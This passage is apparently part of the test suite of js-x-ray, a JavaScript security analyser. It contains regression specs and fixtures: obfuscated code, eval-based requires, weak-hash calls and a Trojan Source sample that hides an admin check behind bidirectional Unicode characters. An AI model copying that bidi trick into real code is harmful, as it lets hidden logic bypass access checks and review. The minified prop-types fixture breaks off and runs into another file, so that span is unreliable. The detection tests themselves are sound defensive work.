6 | ) 7 | } 8 | -------------------------------------------------------------------------------- /test/fixtures/entryFiles/deps/dep.mjs: -------------------------------------------------------------------------------- 1 | export {} 2 | -------------------------------------------------------------------------------- /test/fixtures/entryFiles/deps/dep.node: -------------------------------------------------------------------------------- 1 | module.exports = require('some/addon'); 2 | -------------------------------------------------------------------------------- /test/fixtures/entryFiles/deps/dep1.js: -------------------------------------------------------------------------------- 1 | require("../shared"); 2 | require("externalDep"); 3 | -------------------------------------------------------------------------------- /test/fixtures/entryFiles/deps/dep2.js: -------------------------------------------------------------------------------- 1 | require("../shared"); 2 | require("../shared.js"); 3 | require("externalDep"); 4 | -------------------------------------------------------------------------------- /test/fixtures/entryFiles/deps/dep3.js: -------------------------------------------------------------------------------- 1 | require("../shared"); 2 | require("../shared.js"); 3 | require("externalDep"); 4 | -------------------------------------------------------------------------------- /test/fixtures/entryFiles/deps/invalidDep.js: -------------------------------------------------------------------------------- 1 | @invalidJs 2 | -------------------------------------------------------------------------------- /test/fixtures/entryFiles/deps/validDep.js: -------------------------------------------------------------------------------- 1 | require("externalDep"); 2 | -------------------------------------------------------------------------------- /test/fixtures/entryFiles/entry.js: -------------------------------------------------------------------------------- 1 | require("./deps/dep1"); 2 | require("./deps/dep2.js"); // keep extension for testing purpose 3 | -------------------------------------------------------------------------------- /test/fixtures/entryFiles/entryWithInvalidDep.js: -------------------------------------------------------------------------------- 1 | require("./deps/invalidDep"); 2 | require("./deps/dep1"); 3 | -------------------------------------------------------------------------------- /test/fixtures/entryFiles/entryWithRequireDepWithExtension.js: -------------------------------------------------------------------------------- 1 | require("./deps/dep1.js"); 2 | require("./deps/dep1"); 3 | -------------------------------------------------------------------------------- /test/fixtures/entryFiles/entryWithVariousDepExtensions.js: -------------------------------------------------------------------------------- 1 | require("./deps/default.js"); 2 | require("./deps/default.cjs"); 3 | require("./deps/default.mjs"); 4 | require("./deps/default.node"); 5 | require("./deps/default.jsx"); 6 | -------------------------------------------------------------------------------- /test/fixtures/entryFiles/export.js: -------------------------------------------------------------------------------- 1 | export * from "./shared.js"; 2 | -------------------------------------------------------------------------------- /test/fixtures/entryFiles/recursive/A.js: -------------------------------------------------------------------------------- 1 | import { bar } from "./B.js"; 2 | 3 | export const foo = "bar"; 4 | console.log(bar); 5 | -------------------------------------------------------------------------------- /test/fixtures/entryFiles/recursive/B.js: -------------------------------------------------------------------------------- 1 | import { foo } from "./A.js"; 2 | 3 | export const bar = "foo"; 4 | console.log(foo); 5 | -------------------------------------------------------------------------------- /test/fixtures/entryFiles/shared.js: -------------------------------------------------------------------------------- 1 | require("externalDep"); 2 | -------------------------------------------------------------------------------- /test/fixtures/issues/html-comments.js: -------------------------------------------------------------------------------- 1 | ; 2 | 3 | var bar; 4 | 5 | ; 10 | -------------------------------------------------------------------------------- /test/fixtures/issues/prop-types.min.js: -------------------------------------------------------------------------------- 1 | /* 2 | prop-types module, version 15.8.1, licensed as: 3 | 4 | MIT License 5 | 6 | Copyright (c) 2013-present, Facebook, Inc. 7 | 8 | Permission is hereby granted, free of charge, to any person obtaining a copy 9 | of this software and associated documentation files (the "Software"), to deal 10 | in the Software without restriction, including without limitation the rights 11 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 12 | copies of the Software, and to permit persons to whom the Software is 13 | furnished to do so, subject to the following conditions: 14 | 15 | The above copyright notice and this permission notice shall be included in all 16 | copies or substantial portions of the Software. 17 | 18 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 19 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 20 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 21 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 22 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 23 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 24 | SOFTWARE. 25 | */ 26 | !function(f){"object"==typeof exports&&"undefined"!=typeof module?module.exports=f():"function"==typeof define&&define.amd?define([],f):("undefined"!=typeof window?window:"undefined"!=typeof global?global:"undefined"!=typeof self?self:this).PropTypes=f()}(function(){return function r(e,n,t){function o(i,f){if(!n[i]){if(!e[i]){var p="function"==typeof require&&require;if(!f&&p)return p(i,!0);if(u)return u(i,!0);throw(p=new Error("Cannot find module '"+i+"'")).code="MODULE_NOT_FOUND",p}p=n[i]={exports:{}},e[i][0].call(p.exports,function(r){return o(e[i][1][r]||r)},p,p.exports,r,e,n,t)}return n[i].exports}for(var u="function"==typeof require&&require,i=0;i a 45 | .split(' ') 46 | .map( 47 | b => ref[b] 48 | ).join('') 49 | ).join(' '); 50 | } 51 | 52 | var decoded = decodeMorse(".-- --- .-. -.. .-- --- .-. -.."); 53 | console.log(decoded); 54 | -------------------------------------------------------------------------------- /test/fixtures/obfuscated/notMorse.js: -------------------------------------------------------------------------------- 1 | function decodeNotMorse(notMorseCode) { 2 | var ref = { 3 | '.': 'a', 4 | '..': 'b', 5 | '...': 'c', 6 | '-': 'd', 7 | '--': 'e', 8 | '---': 'f', 9 | '.-': 'g', 10 | '.--': 'h', 11 | '-.': 'i', 12 | '-..': 'j', 13 | '....': 'k', 14 | '----': 'l', 15 | '.-.-': 'm', 16 | '.--.': 'n', 17 | '....----': 'o', 18 | '...----': 'p', 19 | '..----': 'q', 20 | '.----': 'r', 21 | '. . .': 's', 22 | '- - -': 't', 23 | '. - .': 'u', 24 | '- . -': 'v', 25 | '. . -': 'w', 26 | '- . .': 'x', 27 | '- - .': 'y', 28 | '_': 'z', 29 | '__': '1', 30 | '___': '2', 31 | '____': '3', 32 | '._': '4', 33 | '.__': '5', 34 | '.___': '6', 35 | '__.': '7', 36 | '.-_': '8', 37 | '-._': '9', 38 | '_-.': '0', 39 | }; 40 | 41 | return notMorseCode 42 | .split(' ') 43 | .map( 44 | a => a 45 | .split(' ') 46 | .map( 47 | b => ref[b] 48 | ).join('') 49 | ).join(' '); 50 | } 51 | 52 | var decoded = decodeNotMorse(".-- --- .-. -.. .-- --- .-. -.."); 53 | var decoded = decodeNotMorse(".-- --- .-. -.. .-- --- .-. -.."); 54 | var decoded = decodeNotMorse(".-- --- .-. -.. .-- --- .-. -.."); 55 | var decoded = decodeNotMorse(".-- --- .-. -.. .-- --- .-. -.."); 56 | var decoded = decodeNotMorse(".-- --- .-. -.. .-- --- .-. -.."); 57 | var decoded = decodeNotMorse(".-- --- .-. -.. .-- --- .-. -.."); 58 | var decoded = decodeNotMorse(".-- --- .-. -.. .-- --- .-. -.."); 59 | var decoded = decodeNotMorse(".-- --- .-. -.. .-- --- .-. -.."); 60 | var decoded = decodeNotMorse(".-- --- .-. -.. .-- --- .-. -.."); 61 | var decoded = decodeNotMorse(".-- --- .-. -.. .-- --- .-. -.."); 62 | console.log(decoded); 63 | -------------------------------------------------------------------------------- /test/fixtures/obfuscated/obfuscatorio-hexa.js: -------------------------------------------------------------------------------- 1 | var brak_0x4e58 = ['309635TRGVSq', '320156FTEzSS', '317597zJvZET', '2QchCvw', '150700lSXecN', '624932zCCjLF', '1XPPqon', 'Hello\x20World!', 'log', '294491nLFXTD', '7817ihJEZU']; var brak_0x1620 = function (_0x6a7f9e, _0x3fc21b) { _0x6a7f9e = _0x6a7f9e - 0x122; var _0x4e5820 = brak_0x4e58[_0x6a7f9e]; return _0x4e5820; }; (function (_0x5bce8f, _0x3db298) { var _0x2f33c2 = brak_0x1620; while (!![]) { try { var _0x12d8fc = -parseInt(_0x2f33c2(0x123)) * parseInt(_0x2f33c2(0x12a)) + parseInt(_0x2f33c2(0x124)) + -parseInt(_0x2f33c2(0x129)) + parseInt(_0x2f33c2(0x12c)) + parseInt(_0x2f33c2(0x122)) + parseInt(_0x2f33c2(0x12b)) * parseInt(_0x2f33c2(0x126)) + -parseInt(_0x2f33c2(0x125)); if (_0x12d8fc === _0x3db298) break; else _0x5bce8f['push'](_0x5bce8f['shift']()); } catch (_0x12603c) { _0x5bce8f['push'](_0x5bce8f['shift']()); } } }(brak_0x4e58, 0x27cd7)); function hi() { var _0x401aed = brak_0x1620; console[_0x401aed(0x128)](_0x401aed(0x127)); } hi(); 2 | -------------------------------------------------------------------------------- /test/fixtures/obfuscated/unsafe-unicode-chars.js: -------------------------------------------------------------------------------- 1 | function deleteAccount(role) { 2 | if (role === "admin‮ ⁦// Check if admin⁩ ⁦") { 3 | // Do Admin-only stuff 4 | } 5 | return; 6 | } -------------------------------------------------------------------------------- /test/fixtures/searchRuntimeDependencies/customProbe.js: -------------------------------------------------------------------------------- 1 | const danger = 'danger'; 2 | const stream = eval('require')('stream'); 3 | -------------------------------------------------------------------------------- /test/fixtures/searchRuntimeDependencies/depName.js: -------------------------------------------------------------------------------- 1 | require("foobar"); 2 | require("open"); 3 | -------------------------------------------------------------------------------- /test/fixtures/searchRuntimeDependencies/parsingError.js: -------------------------------------------------------------------------------- 1 | -) 2 | -------------------------------------------------------------------------------- /test/fixtures/searchRuntimeDependencies/suspiciousFile.js: -------------------------------------------------------------------------------- 1 | [ 2 | { key: "b058d2931f46abb2a6062abcddf61d75", 3 | iv: "ed77b0e43daccec06c41f472", 4 | pt: "849c27d7333fe9fb769725b0f29a6b0d977e504976d709b8b6ef542e455504a20243e9ff2ea72da8ab709f983f85349f0ccb63a3c3d70225b8c06305592487193b8599c4aeeecc513d9f71bce28fa0f3a9ba5b310fed302a360b73e7a546793f1dd7b17c1dfcb6348c1f2dfe86dab6", 5 | adata: "a7e0f806e4ff0829b0fd8142f8aa26d5a1a1c34cde7e23d65b43cbc3a3cd692bf5817f68756bd46b78cef34903879c7d5929e94b4b3470564f4480315496bf0f2d66358a0ad1e4a2dca7f807c0bb747ca11266f04ec01dc631cbe7019ea8479bb41f23c575008ce54b841066d72806fc0cfa88905ef1444d02ecccbcec53f04ef65fdd42", 6 | ct: "9f14fa396445bf0e206b123e090edf1c41c6ee6b85ec9963721075b9261006b83a68c3179e2824d45ad4a10e0cd44a66b9c4c12c57424a2dff701eac89d968a64b3b221864a163cc9425ee687bdb283c0b9931b5abde531a6e43737ddea7f715779a8ec15ff06808eb54f0e538c5ef", 7 | tag: "8f27c1985372e9db7477be389e701c26" 8 | }, 9 | { key: "76913a2c23ecde49fe994d9d0916488a", 10 | iv: "cebfa37c55b7b378", 11 | pt: "803c56f2397c4250c90c9722133781e5b8ebf5997cb01c70b157bd4ff83c519edd13c020adea8c519f36cf5133c79565aafe5922aefb74ede1ef8cc985", 12 | adata: "598bb9d13392623064a19cf5812c207c47fed14c1c0bc913806b603a5426ee930d0f7d766b098b4175074802799b3e396ae1", 13 | ct: "096e3a778050bb9fb40fc596e4e8b22f9b51056aad7f624f324946bec90e558e89c5da8332b1639dc3ed56a30ca895827d2254d9679f309ae05805ca46", 14 | tag: "18c15e5c5c9dac4d16f9311a92bb8331" 15 | }, 16 | { key: "dc0dd104000e11fe11418e3fbf79efa6", 17 | iv: "56832be3131809aefd05b162", 18 | pt: "117fc55d618f2d97920600e606ef51d2bca851efca396c1a7153142dc5645210c634aae95de3a049ae6097459f45923d30281bfa5dbc8b84861da5e5f122557c701ecdbd6e9cba5b02947750069ee29f19a055438fde6ade9ebc36a7ac92d80d408abfd5c7695f1db5e7aa37d5e2dd40c9b775", 19 | adata: "3a8a94fa6312e080ffe1920719d0e5d616d1", 20 | ct: "a830e76f8becfea6bf6fb81d91a11f2f89843b6f57d6a6d5160ef4a576c610a1d4e91722b962672503c36a710c5966f911949e8b5c353973a7e9498304569674317ad34acb753cc2e6c8b763a946541176aae77390586403e5821d17908272b7cec98165b5b28f8918bad713dc99e74ee7a7fb", 21 | tag: "5b01223877855fc1608534e66425759f" 22 | }, 23 | { key: "3f8e92ec57c05c27a6c1d8374b26cbff", 24 | iv: "56d56bd8bd3c2211458ed96c", 25 | pt: "3edfcd3729c9b01667687c6f5203c6c4a753966eee3b29344fec47995a3793e0bae09389def1117da88d164fb3dd984dd244a7bb78d3332b501f16a1b65bd65773cece6aa434988981d55ac4a80b3404b87447bd7437d6dd62a99defdf366de63cc7da5b05", 26 | adata: "", 27 | ct: "540ed4a1eaf23b7b1b87e9dc8b9c96135b99e45147c919c45aecc0323b7a41179454d6e704671a77c37dc6ebd1b20a644135c0d16f1443aa67667d2cbaead3483856d299a0021b7db598c1d053c1b19e446cd3d90aa2db2871ee8397ec05805d2343404ef5", 28 | tag: "e6b41ccae9b8dbd16cdde8424df5960f" 29 | }, 30 | { key: "fa99cbf6105ae39b594aa4adb6e94b21", 31 | iv: "0eaa5a3b2fe22e795f99422b", 32 | pt: "1be4af9f0ad57423d6fa4bc5cdf6071341062d1d60782c60ecaf2d5490f090ce3501c8acee2679cb700f93304b377824ffc4a945d73545dc8f7869eef536aad06d4e4bd8c85628a5b6bdac50f31b045668382cf012c152c1fb4a51f880eaddb457eeb7ade98c0be3685625d081386084e322e9203fae7e35a43542c65d11c1ab60a369cb3e9489e79141aac6adc36bceb00fa4b33c05a7e171437205d247c2ed755b064737dc1b03d27246b9bee230", 33 | adata: "4df4cb4bc5d947487e685490a7ee5dfdab55211035bc8537f172cde808bb7d691fc05634613473395c8d890b3fbeaa609b77b9bf2d405bce8fd1a725e36342190607b6b36e7b6d50775a3b9fdf23ddf0340e44eb4536df3642e3bf87bda3ccbeb27cabbae5c2a3c021dd0f6e9056d9b4be948f4190f7a130c1a64813618fc7bb42ae3570", 34 | ct: "6bd3af8afc802252b76bd1ca85c204008435d6ae598245944613ce64f918f0808f2df1db854af77921ca5eeba8cfbc174359019df14c6ee6c0378f6db045c055b81173f0546fc1d884ff56c04b4f3a92b33660f1f851fb657e1947aaee4387e531782404cebef95102246e5566141f421824e5411a1aa9203d70cde3250a39777b9ee478f59a758a0d008212f9eb17c92f046f006de1e31aa529b8dfce3e19addd7074c69ec1a18d64e91413cb77b5", 35 | tag: "9f7e906f519e2a7bd484304b33aa9fcf" 36 | } 37 | ]; 38 | -------------------------------------------------------------------------------- /test/issues/109-html-comment-parsing.spec.js: -------------------------------------------------------------------------------- 1 | // Import Node.js Dependencies 2 | import { readFileSync } from "node:fs"; 3 | import { test } from "node:test"; 4 | import assert from "node:assert"; 5 | 6 | // Import Internal Dependencies 7 | import { AstAnalyser } from "../../index.js"; 8 | 9 | // CONSTANTS 10 | const FIXTURE_URL = new URL("../fixtures/issues/", import.meta.url); 11 | 12 | // Regression test for https://github.com/NodeSecure/js-x-ray/issues/109 13 | test("it should not crash for a JavaScript file containing HTML comments (and removeHTMLComments option enabled)", () => { 14 | const htmlComment = readFileSync(new URL("html-comments.js", FIXTURE_URL), "utf-8"); 15 | new AstAnalyser().analyse(htmlComment, { 16 | removeHTMLComments: true 17 | }); 18 | }); 19 | 20 | test("it should crash for a JavaScript file containing HTML comments", (t) => { 21 | const htmlComment = readFileSync(new URL("html-comments.js", FIXTURE_URL), "utf-8"); 22 | 23 | assert.throws(() => new AstAnalyser().analyse(htmlComment)); 24 | }); 25 | -------------------------------------------------------------------------------- /test/issues/163-illegalReturnStatement.spec.js: -------------------------------------------------------------------------------- 1 | // Import Node.js Dependencies 2 | import { test } from "node:test"; 3 | import assert from "node:assert"; 4 | 5 | // Import Internal Dependencies 6 | import { AstAnalyser } from "../../index.js"; 7 | 8 | /** 9 | * @see https://github.com/NodeSecure/js-x-ray/issues/163 10 | */ 11 | // CONSTANTS 12 | const kIncriminedCodeSample = ` 13 | const argv = process.argv.slice(2); 14 | 15 | function foobar() { 16 | console.log("foobar"); 17 | } 18 | 19 | if (!argv.length) { 20 | return foobar(); 21 | } 22 | `; 23 | 24 | test("it should not throw error whatever module is true or false", () => { 25 | assert.doesNotThrow(() => { 26 | new AstAnalyser().analyse(kIncriminedCodeSample, { module: false }); 27 | }); 28 | assert.doesNotThrow(() => { 29 | new AstAnalyser().analyse(kIncriminedCodeSample, { module: true }); 30 | }); 31 | }); 32 | -------------------------------------------------------------------------------- /test/issues/170-isOneLineRequire-logicalExpression-CJS-export.spec.js: -------------------------------------------------------------------------------- 1 | // Import Node.js Dependencies 2 | import { test } from "node:test"; 3 | import assert from "node:assert"; 4 | 5 | // Import Internal Dependencies 6 | import { AstAnalyser } from "../../index.js"; 7 | 8 | const validTestCases = [ 9 | ["module.exports = require('fs') || require('constants');", ["fs", "constants"]], 10 | ["module.exports = require('constants') ? require('fs') : require('foo');", ["constants", "fs", "foo"]], 11 | 12 | // should have at least one branch has a `require` callee 13 | ["module.exports = require('constants') || {};", ["constants"]], 14 | ["module.exports = {} || require('constants');", ["constants"]], 15 | ["module.exports = require('constants') ? require('fs') : {};", ["constants", "fs"]], 16 | ["module.exports = require('constants') ? {} : require('fs');", ["constants", "fs"]], 17 | 18 | // should apply to nested conditions 19 | ["module.exports = (require('constants') || {}) || (require('foo') || {});", ["constants", "foo"]], 20 | ["module.exports = require('constants') ? (require('fs') || {}) : ({} || require('foo'));", ["constants", "fs", "foo"]], 21 | ["module.exports = require('constants') ? ({} || require('fs')) : (require('foo') || {});", ["constants", "fs", "foo"]], 22 | ["module.exports = require('constants') ? (require('fs') ? {} : require('bar')) : {};", ["constants", "fs", "bar"]], 23 | ["module.exports = require('constants') ? {} : (require('fs') ? {} : require('bar'));", ["constants", "fs", "bar"]], 24 | 25 | // test condition that are not `require` callees, here `notRequire('someModule')`, are ignored 26 | ["module.exports = notRequire('someModule') ? require('constants') : require('foo');", 27 | ["constants", "foo"] 28 | ], 29 | ["module.exports = ok ? (notRequire('someModule') ? require('constants') : require('foo')) : {};", 30 | ["constants", "foo"] 31 | ], 32 | ["module.exports = ok ? {} : (notRequire('someModule') ? require('constants') : require('foo'));", 33 | ["constants", "foo"] 34 | ] 35 | ]; 36 | 37 | test("it should return isOneLineRequire true given a single line CJS export with a valid assignment", () => { 38 | validTestCases.forEach((test) => { 39 | const [source, modules] = test; 40 | const { dependencies, flags } = new AstAnalyser().analyse(source); 41 | 42 | assert.ok(flags.has("oneline-require")); 43 | assert.deepEqual([...dependencies.keys()], modules); 44 | }); 45 | }); 46 | 47 | const invalidTestCases = [ 48 | // should have at least one `require` callee 49 | ["module.exports = notRequire('foo') || {};", []], 50 | ["module.exports = {} || notRequire('foo');", []], 51 | ["module.exports = require('constants') ? {} : {};", ["constants"]], 52 | 53 | // same behavior should apply to nested conditions 54 | ["module.exports = (notRequire('foo') || {}) || (notRequire('foo') || {});", []], 55 | ["module.exports = require('constants') ? (notRequire('foo') || {}) : (notRequire('foo') || {});", ["constants"]], 56 | ["module.exports = require('constants') ? (notRequire('foo') || {}) : (notRequire('foo') || {});", ["constants"]], 57 | ["module.exports = require('constants') ? (require('constants') ? {} : {}) : (require('constants') ? {} : {});", ["constants"]] 58 | ]; 59 | 60 | test("it should return isOneLineRequire false given a single line CJS export with illegal callees", () => { 61 | invalidTestCases.forEach((test) => { 62 | const [source, modules] = test; 63 | const { dependencies, flags } = new AstAnalyser().analyse(source); 64 | 65 | assert.ok(flags.has("oneline-require") === false); 66 | assert.deepEqual([...dependencies.keys()], modules); 67 | }); 68 | }); 69 | -------------------------------------------------------------------------------- /test/issues/177-wrongUnsafeRequire.spec.js: -------------------------------------------------------------------------------- 1 | // Import Node.js Dependencies 2 | import { test } from "node:test"; 3 | import assert from "node:assert"; 4 | 5 | // Import Internal Dependencies 6 | import { AstAnalyser } from "../../index.js"; 7 | 8 | /** 9 | * @see https://github.com/NodeSecure/js-x-ray/issues/177 10 | */ 11 | test("should detect unsafe-import and unsafe-statement", () => { 12 | const { warnings, dependencies } = new AstAnalyser().analyse(`const help = require('help-me')({ 13 | dir: path.join(__dirname, 'help'), 14 | ext: '.txt' 15 | })`); 16 | 17 | assert.strictEqual(warnings.length, 0); 18 | assert.ok(dependencies.has("help-me")); 19 | const dependency = dependencies.get("help-me"); 20 | 21 | assert.deepEqual( 22 | dependency, 23 | { 24 | unsafe: false, 25 | inTry: false, 26 | location: { 27 | end: { 28 | column: 31, 29 | line: 1 30 | }, 31 | start: { 32 | column: 13, 33 | line: 1 34 | } 35 | } 36 | } 37 | ); 38 | }); 39 | -------------------------------------------------------------------------------- /test/issues/178-path-join-literal-args-is-not-unsafe.spec.js: -------------------------------------------------------------------------------- 1 | // Import Node.js Dependencies 2 | import { test } from "node:test"; 3 | import assert from "node:assert"; 4 | 5 | // Import Internal Dependencies 6 | import { AstAnalyser } from "../../index.js"; 7 | 8 | /** 9 | * @see https://github.com/NodeSecure/js-x-ray/issues/178 10 | */ 11 | const validTestCases = [ 12 | "const bin = require(path.join('..', './bin.js'));", 13 | "const bin = require.resolve(path.join('..', './bin.js'));" 14 | ]; 15 | 16 | test("should not detect unsafe-import for path.join if every argument is a string literal", () => { 17 | validTestCases.forEach((test) => { 18 | const { warnings, dependencies } = new AstAnalyser().analyse(test); 19 | 20 | assert.strictEqual(warnings.length, 0); 21 | assert.ok(dependencies.has("../bin.js")); 22 | }); 23 | }); 24 | 25 | const invalidTestCases = [ 26 | "const bin = require(path.join(__dirname, '..', './bin.js'));", 27 | "const bin = require(path.join(3, '..', './bin.js'));", 28 | "const bin = require.resolve(path.join(__dirname, '..', './bin.js'));", 29 | "const bin = require.resolve(path.join(3, '..', './bin.js'));" 30 | ]; 31 | 32 | test("should detect unsafe-import of path.join if not every argument is a string literal", () => { 33 | invalidTestCases.forEach((test) => { 34 | const { warnings } = new AstAnalyser().analyse(test); 35 | 36 | assert.strictEqual(warnings.length, 1); 37 | }); 38 | }); 39 | -------------------------------------------------------------------------------- /test/issues/179-UnsafeEvalRequire.spec.js: -------------------------------------------------------------------------------- 1 | // Import Node.js Dependencies 2 | import { test } from "node:test"; 3 | import assert from "node:assert"; 4 | 5 | // Import Internal Dependencies 6 | import { AstAnalyser } from "../../index.js"; 7 | 8 | /** 9 | * @see https://github.com/NodeSecure/js-x-ray/issues/179 10 | */ 11 | // CONSTANTS 12 | const kIncriminedCodeSample = "const stream = eval('require')('stream');"; 13 | const kWarningUnsafeImport = "unsafe-import"; 14 | const kWarningUnsafeStatement = "unsafe-stmt"; 15 | 16 | test("should detect unsafe-import and unsafe-statement", () => { 17 | const sastAnalysis = new AstAnalyser().analyse(kIncriminedCodeSample); 18 | 19 | assert.equal(sastAnalysis.warnings.at(0).value, "stream"); 20 | assert.equal(sastAnalysis.warnings.at(0).kind, kWarningUnsafeImport); 21 | assert.equal(sastAnalysis.warnings.at(1).value, "eval"); 22 | assert.equal(sastAnalysis.warnings.at(1).kind, kWarningUnsafeStatement); 23 | assert.equal(sastAnalysis.warnings.length, 2); 24 | assert.equal(sastAnalysis.dependencies.has("stream"), true); 25 | assert.equal(sastAnalysis.dependencies.get("stream").unsafe, true); 26 | assert.equal(sastAnalysis.dependencies.size, 1); 27 | }); 28 | -------------------------------------------------------------------------------- /test/issues/180-logicalexpr-return-this.spec.js: -------------------------------------------------------------------------------- 1 | // Import Node.js Dependencies 2 | import { test } from "node:test"; 3 | import assert from "node:assert"; 4 | 5 | // Import Internal Dependencies 6 | import { AstAnalyser } from "../../index.js"; 7 | 8 | /** 9 | * @see https://github.com/NodeSecure/js-x-ray/issues/180 10 | */ 11 | test("should detect required core 'http' with a LogicalExpr containing Function('return this')()", () => { 12 | const { warnings, dependencies } = new AstAnalyser().analyse(` 13 | var root = freeGlobal || freeSelf || Function('return this')(); 14 | const foo = root.require; 15 | foo("http"); 16 | `); 17 | 18 | assert.strictEqual(warnings.length, 0); 19 | assert.strictEqual(dependencies.size, 1); 20 | assert.ok(dependencies.has("http")); 21 | }); 22 | -------------------------------------------------------------------------------- /test/issues/283-oneline-require-minified.spec.js: -------------------------------------------------------------------------------- 1 | // Import Node.js Dependencies 2 | import { test } from "node:test"; 3 | import assert from "node:assert"; 4 | 5 | // Import Internal Dependencies 6 | import { AstAnalyser } from "../../index.js"; 7 | 8 | // Regression test for https://github.com/NodeSecure/js-x-ray/issues/283 9 | test("Given a one line require (with no module.exports) then isOneLineRequire must equal true", () => { 10 | const { flags } = new AstAnalyser().analyse("require('foo.js');"); 11 | 12 | assert.ok(flags.has("oneline-require")); 13 | }); 14 | 15 | test("Given an empty code then isOneLineRequire must equal false", () => { 16 | const { flags } = new AstAnalyser().analyse(""); 17 | 18 | assert.strictEqual(flags.has("oneline-require"), false); 19 | }); 20 | -------------------------------------------------------------------------------- /test/issues/295-deobfuscator-function-declaration-id-null.spec.js: -------------------------------------------------------------------------------- 1 | // Import Node.js Dependencies 2 | import { test } from "node:test"; 3 | 4 | // Import Internal Dependencies 5 | import { AstAnalyser } from "../../index.js"; 6 | 7 | /** 8 | * @see https://github.com/NodeSecure/js-x-ray/issues/295 9 | */ 10 | test("Deobfuscator.#extractCounterIdentifiers should not throw if FunctionDeclaration id is null", () => { 11 | new AstAnalyser().analyse(` 12 | export default async function (app) { 13 | app.loaded = true 14 | } 15 | `); 16 | }); 17 | -------------------------------------------------------------------------------- /test/issues/312-try-finally.spec.js: -------------------------------------------------------------------------------- 1 | // Import Node.js Dependencies 2 | import { test } from "node:test"; 3 | import assert from "node:assert"; 4 | 5 | // Import Internal Dependencies 6 | import { AstAnalyser } from "../../index.js"; 7 | 8 | /** 9 | * @see https://github.com/NodeSecure/js-x-ray/issues/312 10 | */ 11 | test("SourceFile inTryStatement must ignore try/finally statements", () => { 12 | const { dependencies } = new AstAnalyser().analyse(` 13 | try { 14 | // do something 15 | } 16 | finally { 17 | 18 | } 19 | 20 | var import_ts = __toESM(require("foobar"), 1); 21 | `); 22 | assert.strictEqual(dependencies.size, 1); 23 | assert.ok(dependencies.has("foobar")); 24 | 25 | const dependency = dependencies.get("foobar"); 26 | assert.strictEqual(dependency.unsafe, false); 27 | assert.strictEqual(dependency.inTry, false); 28 | }); 29 | -------------------------------------------------------------------------------- /test/issues/59-undefined-depName.spec.js: -------------------------------------------------------------------------------- 1 | // Import Node.js Dependencies 2 | import { readFileSync } from "node:fs"; 3 | import { test } from "node:test"; 4 | 5 | // Import Internal Dependencies 6 | import { AstAnalyser } from "../../index.js"; 7 | 8 | // CONSTANTS 9 | const FIXTURE_URL = new URL("../fixtures/issues/", import.meta.url); 10 | 11 | // Regression test for https://github.com/NodeSecure/js-x-ray/issues/59 12 | test("it should not crash for prop-types", () => { 13 | const propTypes = readFileSync( 14 | new URL("prop-types.min.js", FIXTURE_URL), 15 | "utf-8" 16 | ); 17 | new AstAnalyser().analyse(propTypes); 18 | }); 19 | -------------------------------------------------------------------------------- /test/probes/fixtures/weakCrypto/directCallExpression/md2.js: -------------------------------------------------------------------------------- 1 | const { createHash } = require("crypto"); 2 | 3 | createHash("md2"); 4 | -------------------------------------------------------------------------------- /test/probes/fixtures/weakCrypto/directCallExpression/md4.js: -------------------------------------------------------------------------------- 1 | const { createHash } = require("crypto"); 2 | 3 | createHash("md4"); 4 | -------------------------------------------------------------------------------- /test/probes/fixtures/weakCrypto/directCallExpression/md5.js: -------------------------------------------------------------------------------- 1 | const { createHash } = require("crypto"); 2 | 3 | createHash("md5"); 4 | -------------------------------------------------------------------------------- /test/probes/fixtures/weakCrypto/directCallExpression/ripemd160.js: -------------------------------------------------------------------------------- 1 | const { createHash } = require("crypto"); 2 | 3 | createHash("ripemd160"); 4 | -------------------------------------------------------------------------------- /test/probes/fixtures/weakCrypto/directCallExpression/sha1.js: -------------------------------------------------------------------------------- 1 | const { createHash } = require("crypto"); 2 | 3 | createHash("sha1"); 4 | -------------------------------------------------------------------------------- /test/probes/fixtures/weakCrypto/memberExpression/md2.js: -------------------------------------------------------------------------------- 1 | import crypto from "crypto"; 2 | 3 | crypto.createHash("md2"); 4 | -------------------------------------------------------------------------------- /test/probes/fixtures/weakCrypto/memberExpression/md4.js: -------------------------------------------------------------------------------- 1 | import crypto from "crypto"; 2 | 3 | crypto.createHash("md4"); 4 | -------------------------------------------------------------------------------- /test/probes/fixtures/weakCrypto/memberExpression/md5.js: -------------------------------------------------------------------------------- 1 | import crypto from "crypto"; 2 | 3 | crypto.createHash("md5"); 4 | -------------------------------------------------------------------------------- /test/probes/fixtures/weakCrypto/memberExpression/ripemd160.js: -------------------------------------------------------------------------------- 1 | import crypto from "crypto"; 2 | 3 | crypto.createHash("ripemd160"); 4 | -------------------------------------------------------------------------------- /test/probes/fixtures/weakCrypto/memberExpression/sha1.js: -------------------------------------------------------------------------------- 1 | import crypto from "crypto"; 2 | 3 | crypto.createHash("sha1"); 4 | -------------------------------------------------------------------------------- /test/probes/isArrayExpression.spec.js: -------------------------------------------------------------------------------- 1 | // Import Node.js dependencies 2 | import { test } from "node:test"; 3 | import assert from "node:assert"; 4 | 5 | // Import Internal Dependencies 6 | import { getSastAnalysis, parseScript } from "../utils/index.js"; 7 | import isArrayExpression from "../../src/probes/isArrayExpression.js"; 8 | 9 | test("it should trigger analyzeLiteral method one time", (t) => { 10 | const str = "['foo']"; 11 | 12 | const ast = parseScript(str); 13 | const sastAnalysis = getSastAnalysis(str, isArrayExpression); 14 | 15 | t.mock.method(sastAnalysis.sourceFile, "analyzeLiteral"); 16 | sastAnalysis.execute(ast.body); 17 | 18 | assert.strictEqual(sastAnalysis.warnings().length, 0); 19 | 20 | const calls = sastAnalysis.sourceFile.analyzeLiteral.mock.calls; 21 | assert.strictEqual(calls.length, 1); 22 | 23 | const literalNode = calls[0].arguments[0]; 24 | assert.strictEqual(literalNode.value, "foo"); 25 | }); 26 | 27 | test("it should trigger analyzeLiteral method two times (ignoring the holey between)", (t) => { 28 | const str = "[5, ,10]"; 29 | 30 | const ast = parseScript(str); 31 | const sastAnalysis = getSastAnalysis(str, isArrayExpression); 32 | 33 | t.mock.method(sastAnalysis.sourceFile, "analyzeLiteral"); 